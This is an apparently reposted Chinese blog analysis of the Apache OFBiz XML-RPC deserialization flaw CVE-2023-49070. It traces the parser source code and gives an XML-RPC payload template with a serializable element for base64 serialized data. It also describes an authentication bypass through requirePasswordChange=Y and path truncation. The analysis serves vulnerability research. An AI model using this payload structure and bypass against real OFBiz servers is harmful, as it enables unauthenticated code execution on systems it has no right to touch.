HTTP_Apache_Ofbiz_反序列化漏洞分析

admin 2023年12月10日08:41:01评论21 views字数 9520阅读31分44秒阅读模式

漏洞说明

Apache Ofbiz 0day 未授权代码执行(CVE-2023-49070):影响Apache OFBiz before 18.12.10,来自于CVE-2020-9496的绕过

漏洞复现

HTTP_Apache_Ofbiz_反序列化漏洞分析

漏洞分析

漏洞触发异常调用栈如下

getResult:33, SerializableParser (org.apache.xmlrpc.parser)endValueTag:78, RecursiveTypeParserImpl (org.apache.xmlrpc.parser)endElement:185, MapParser (org.apache.xmlrpc.parser)endElement:103, RecursiveTypeParserImpl (org.apache.xmlrpc.parser)endElement:165, XmlRpcRequestParser (org.apache.xmlrpc.parser)endElement:-1, AbstractSAXParser (org.apache.xerces.parsers)scanEndElement:-1, XMLNSDocumentScannerImpl (org.apache.xerces.impl)dispatch:-1, XMLDocumentFragmentScannerImpl$FragmentContentDispatcher (org.apache.xerces.impl)scanDocument:-1, XMLDocumentFragmentScannerImpl (org.apache.xerces.impl)parse:-1, XML11Configuration (org.apache.xerces.parsers)parse:-1, XML11Configuration (org.apache.xerces.parsers)parse:-1, XMLParser (org.apache.xerces.parsers)parse:-1, AbstractSAXParser (org.apache.xerces.parsers)parse:-1, SAXParserImpl$JAXPSAXParser (org.apache.xerces.jaxp)getRequest:65, XmlRpcStreamServer (org.apache.xmlrpc.server)execute:199, XmlRpcStreamServer (org.apache.xmlrpc.server)invoke:137, XmlRpcEventHandler (org.apache.ofbiz.webapp.event)runEvent:733, RequestHandler (org.apache.ofbiz.webapp.control)doRequest:454, RequestHandler (org.apache.ofbiz.webapp.control)doGet:210, ControlServlet (org.apache.ofbiz.webapp.control)doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)service:707, HttpServlet (javax.servlet.http)service:790, HttpServlet (javax.servlet.http)internalDoFilter:292, ApplicationFilterChain (org.apache.catalina.core)doFilter:207, ApplicationFilterChain (org.apache.catalina.core)doFilter:52, WsFilter (org.apache.tomcat.websocket.server)internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core)doFilter:207, ApplicationFilterChain (org.apache.catalina.core)doFilter:209, ContextFilter (org.apache.ofbiz.webapp.control)internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core)doFilter:207, ApplicationFilterChain (org.apache.catalina.core)doFilter:156, ControlFilter (org.apache.ofbiz.webapp.control)internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core)doFilter:207, ApplicationFilterChain (org.apache.catalina.core)invoke:212, StandardWrapperValve (org.apache.catalina.core)invoke:106, StandardContextValve (org.apache.catalina.core)invoke:502, AuthenticatorBase (org.apache.catalina.authenticator)invoke:141, StandardHostValve (org.apache.catalina.core)invoke:79, ErrorReportValve (org.apache.catalina.valves)invoke:88, StandardEngineValve (org.apache.catalina.core)invoke:616, AbstractAccessLogValve (org.apache.catalina.valves)service:528, CoyoteAdapter (org.apache.catalina.connector)process:1100, AbstractHttp11Processor (org.apache.coyote.http11)process:687, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)doRun:1520, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)run:1476, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)runWorker:1142, ThreadPoolExecutor (java.util.concurrent)run:617, ThreadPoolExecutor$Worker (java.util.concurrent)run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run:745, Thread (java.lang)

(1)触发反序列化

在getResult:33, SerializableParser (org.apache.xmlrpc.parser)中调用ois.readObject()触发反序列化漏洞

HTTP_Apache_Ofbiz_反序列化漏洞分析

getRequest:65, XmlRpcStreamServer (org.apache.xmlrpc.server) 这里能看到直接将请求流中的数据交给了XMLReader进行处理

HTTP_Apache_Ofbiz_反序列化漏洞分析

当查询到serializable标签的时候,会调用SerializableParser.startElement()

HTTP_Apache_Ofbiz_反序列化漏洞分析

通过java的子父类关系,最终调用ByteArrayParser.startElement(),会对内容进行base64的解码。

HTTP_Apache_Ofbiz_反序列化漏洞分析

(2)标签处理

XmlRpcRequestParser.java中的startElement选择标签进行处理。当标签不匹配则调用super.startElement(pURI, pLocalName, pQName, pAttrs);就是RecursiveTypeParserImpl.startElement

public void startElement(String pURI, String pLocalName, String pQName,                    Attributes pAttrs) throws SAXException {    switch (level++) {       case 0:          if (!"".equals(pURI)  ||  !"methodCall".equals(pLocalName)) {             throw new SAXParseException("Expected root element 'methodCall', got "                   + new QName(pURI, pLocalName),                   getDocumentLocator());          }          break;       case 1:          if (methodName == null) {             if ("".equals(pURI)  &&  "methodName".equals(pLocalName)) {                inMethodName = true;             } else {                throw new SAXParseException("Expected methodName element, got "                                     + new QName(pURI, pLocalName),                                     getDocumentLocator());             }          } else if (params == null) {             if ("".equals(pURI)  &&  "params".equals(pLocalName)) {                params = new ArrayList();             } else {                throw new SAXParseException("Expected params element, got "                                     + new QName(pURI, pLocalName),                                     getDocumentLocator());             }          } else {             throw new SAXParseException("Expected /methodCall, got "                                  + new QName(pURI, pLocalName),                                  getDocumentLocator());          }          break;       case 2:          if (!"".equals(pURI)  ||  !"param".equals(pLocalName)) {             throw new SAXParseException("Expected param element, got "                                  + new QName(pURI, pLocalName),                                  getDocumentLocator());          }          break;       case 3:          if (!"".equals(pURI)  ||  !"value".equals(pLocalName)) {             throw new SAXParseException("Expected value element, got "                                  + new QName(pURI, pLocalName),                                  getDocumentLocator());          }          startValueTag();          break;       default:          super.startElement(pURI, pLocalName, pQName, pAttrs);          break;    }}


TypeFactoryImpl.getParser() 这里puri正确的时候,会通过不同的标签取到不同的parser()

HTTP_Apache_Ofbiz_反序列化漏洞分析

public TypeParser getParser(XmlRpcStreamConfig pConfig, NamespaceContextImpl pContext, String pURI, String pLocalName) {    if (XmlRpcWriter.EXTENSIONS_URI.equals(pURI)) {       if (!pConfig.isEnabledForExtensions()) {          return null;       }       if (NullSerializer.NIL_TAG.equals(pLocalName)) {          return new NullParser();       } else if (I1Serializer.I1_TAG.equals(pLocalName)) {          return new I1Parser();       } else if (I2Serializer.I2_TAG.equals(pLocalName)) {          return new I2Parser();       } else if (I8Serializer.I8_TAG.equals(pLocalName)) {          return new I8Parser();       } else if (FloatSerializer.FLOAT_TAG.equals(pLocalName)) {          return new FloatParser();           } else if (NodeSerializer.DOM_TAG.equals(pLocalName)) {               return new NodeParser();           } else if (BigDecimalSerializer.BIGDECIMAL_TAG.equals(pLocalName)) {               return new BigDecimalParser();           } else if (BigIntegerSerializer.BIGINTEGER_TAG.equals(pLocalName)) {               return new BigIntegerParser();       } else if (SerializableSerializer.SERIALIZABLE_TAG.equals(pLocalName)) {          return new SerializableParser();       } else if (CalendarSerializer.CALENDAR_TAG.equals(pLocalName)) {           return new CalendarParser();           }    } else if ("".equals(pURI)) {       if (I4Serializer.INT_TAG.equals(pLocalName)  ||  I4Serializer.I4_TAG.equals(pLocalName)) {          return new I4Parser();       } else if (BooleanSerializer.BOOLEAN_TAG.equals(pLocalName)) {          return new BooleanParser();       } else if (DoubleSerializer.DOUBLE_TAG.equals(pLocalName)) {          return new DoubleParser();       } else if (DateSerializer.DATE_TAG.equals(pLocalName)) {          return new DateParser(new XmlRpcDateTimeDateFormat(){                   private static final long serialVersionUID = 7585237706442299067L;                   protected TimeZone getTimeZone() {                       return controller.getConfig().getTimeZone();                   }               });       } else if (ObjectArraySerializer.ARRAY_TAG.equals(pLocalName)) {          return new ObjectArrayParser(pConfig, pContext, this);       } else if (MapSerializer.STRUCT_TAG.equals(pLocalName)) {          return new MapParser(pConfig, pContext, this);       } else if (ByteArraySerializer.BASE_64_TAG.equals(pLocalName)) {          return new ByteArrayParser();       } else if (StringSerializer.STRING_TAG.equals(pLocalName)) {          return new StringParser();       }    }    return null;}

(3)poc构造

根据上面的XmlRpcRequestParser.startElement标签判断顺序,我们可以列一个简易的poc模版

<?xml version="1.0"?><methodCall>  <methodName>22</methodName>  <params>    <param>      <value>              </value>    </param>  </params></methodCall>

当我们直接尝试用serializable,发现报错了,需要prefix不为空。

HTTP_Apache_Ofbiz_反序列化漏洞分析

HTTP_Apache_Ofbiz_反序列化漏洞分析

通过代码发现,需要对cachedPrefix赋值不为空,也就是这里typeParser不为空,然后走到context.endPrefixMapping(pPrefix);

HTTP_Apache_Ofbiz_反序列化漏洞分析

HTTP_Apache_Ofbiz_反序列化漏洞分析

选用struct

HTTP_Apache_Ofbiz_反序列化漏洞分析

其内部定义标签格式如下

HTTP_Apache_Ofbiz_反序列化漏洞分析

汇总payload格式如下

<?xml version="1.0">        <methodCall>          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>          <params>            <param>              <value>                <struct>                  <member>                  <name>***</name>                    <value>                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">                      base64的反序列化数据                      </serializable>                    </value>                  </member>                </struct>              </value>            </param>          </params>        </methodCall>


(4)绕过鉴权

LoginWorker.checkLogin()

public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {    GenericValue userLogin = checkLogout(request, response);    // have to reget this because the old session object will be invalid    HttpSession session = request.getSession();
String username = null; String password = null;
if (userLogin == null) { // check parameters username = request.getParameter("USERNAME"); password = request.getParameter("PASSWORD"); // check session attributes if (username == null) username = (String) session.getAttribute("USERNAME"); if (password == null) password = (String) session.getAttribute("PASSWORD");
//in this condition log them in if not already; if not logged in or can't log in, save parameters and return error if ((username == null) || (password == null) || ("error".equals(login(request, response)))) {
// make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error request.removeAttribute("_LOGIN_PASSED_");
// keep the previous request name in the session session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());
// NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted // keep 2 maps: one for URL parameters and one for form parameters Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request); if (UtilValidate.isNotEmpty(urlParams)) { session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams); } Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false); if (UtilValidate.isNotEmpty(formParams)) { session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams); }
if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module);
return "error"; } }
return "success";}

如果(login(request,response)返回不为error则绕过鉴权,username和password随便写就行

HTTP_Apache_Ofbiz_反序列化漏洞分析

这里可以通过传入requirePasswordChange=Y

HTTP_Apache_Ofbiz_反序列化漏洞分析

这里我用的老版本鉴权接口判定

HTTP_Apache_Ofbiz_反序列化漏洞分析

HTTP_Apache_Ofbiz_反序列化漏洞分析

还存在路径绕过,由于本地没有环境复现,参考代码,采用危险的geturi,可以通过; ../的方式截断,导致权限绕过。

HTTP_Apache_Ofbiz_反序列化漏洞分析

原文始发于微信公众号(e0m安全屋):HTTP_Apache_Ofbiz_反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月10日08:41:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTTP_Apache_Ofbiz_反序列化漏洞分析http://cn-sec.com/archives/2280140.html

发表评论

匿名网友 填写信息